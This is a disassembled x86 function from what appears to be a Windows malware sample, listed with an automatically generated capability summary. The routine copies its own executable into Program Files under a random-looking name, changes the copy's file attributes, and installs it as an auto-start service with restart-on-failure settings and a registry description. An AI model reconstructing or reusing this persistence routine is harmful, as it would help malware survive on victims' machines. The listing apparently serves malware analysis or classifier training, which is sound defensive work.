Function at 0x10003b50
Capabilities:
Copy file
Create service
Modify service
Persist via windows service
Query environment variable
Set file attributes
Set registry value
Start service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10018a30
push 0x10009068
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x3a0
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x2ac]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x104
lea ecx, [ebp - 0x158]
push ecx
push str._ProgramFiles__
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea eax, [ebp - 0x158]
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10003bb0
sub eax, edx
push eax
lea edx, [ebp - 0x2ac]
push edx
lea eax, [ebp - 0x158]
push eax
call fcn.10008f96
add esp, 0xc
test eax, eax
je 0x10003cd8
lea ecx, [ebp - 0x158]
push ecx
call fcn.10003710
mov word [ebp - 0x1c], 0x7325
mov byte [ebp - 0x1a], 0
push str.Agycmwc.exe
lea edx, [ebp - 0x1c]
push edx
lea eax, [ebp - 0x1a8]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x158]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10003c10
sub eax, edx
lea eax, [ebp + eax - 0x159]
cmp byte [eax], 0x5c
jne 0x10003c27
mov byte [eax], cl
lea edi, [ebp - 0x158]
dec edi
mov edi, edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10003c30
mov cx, word [0x1001542c]
mov word [edi], cx
lea eax, [ebp - 0x1a8]
mov edx, eax
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10003c50
sub eax, edx
lea edi, [ebp - 0x158]
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10003c60
mov ecx, eax
mov esi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0
lea edx, [ebp - 0x158]
push edx
lea eax, [ebp - 0x2ac]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x104
push 0
lea ecx, [ebp - 0x2ac]
push ecx
call fcn.100082d0
add esp, 0xc
xor eax, eax
jmp 0x10003cb0
mov cl, byte [ebp + eax - 0x158]
mov byte [ebp + eax - 0x2ac], cl
inc eax
test cl, cl
jne 0x10003cb0
movzx edx, word [0x1001b5f4]
push edx
lea eax, [ebp - 0x158]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
xor ebx, ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 4], ebx
push 0xf003f
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
mov dword [ebp - 0x24], esi
cmp esi, ebx
je 0x10003e67
push ebx
push ebx
push ebx
push ebx
push ebx
lea ecx, [ebp - 0x158]
push ecx
push 1
push 2
push 0x110
push 0xf01ff
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov ebx, eax
mov dword [ebp - 0x20], ebx
push esi
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
mov edi, eax
mov dword [ebp - 0x1c], str.Rswkui_weuouewe
lea ecx, [ebp - 0x1c]
push ecx
push 1
push ebx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
xor eax, eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x3c], 0x15180
mov dword [ebp - 0x50], 0x1b58
mov ecx, 1
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x30], 3
lea edx, [ebp - 0x54]
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x3c]
push eax
push 2
push ebx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
push edi
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
test ebx, ebx
jne 0x10003dde
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x431
jne 0x10003dde
push 0xf01ff
mov ecx, dword [ebp + 8]
push ecx
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, eax
mov dword [ebp - 0x20], ebx
test ebx, ebx
je 0x10003e67
push 0
push 0
push ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push 0
push 0
push ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
je 0x10003e67
mov ecx, 8
mov esi, str.SYSTEMCurrentControlSetServices_
lea edi, [ebp - 0x3b0]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov eax, dword [ebp + 8]
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10003e07
sub eax, edx
lea edi, [ebp - 0x3b0]
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10003e17
mov ecx, eax
mov esi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edx, [ebp - 0x28]
push edx
lea eax, [ebp - 0x3b0]
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov esi, dword [ebp + 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
push 1
push 0
push str.Description
mov ecx, dword [ebp - 0x28]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esi, dword [ebp - 0x24]
mov dword [ebp - 4], 0xffffffff
call fcn.10003e8a
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret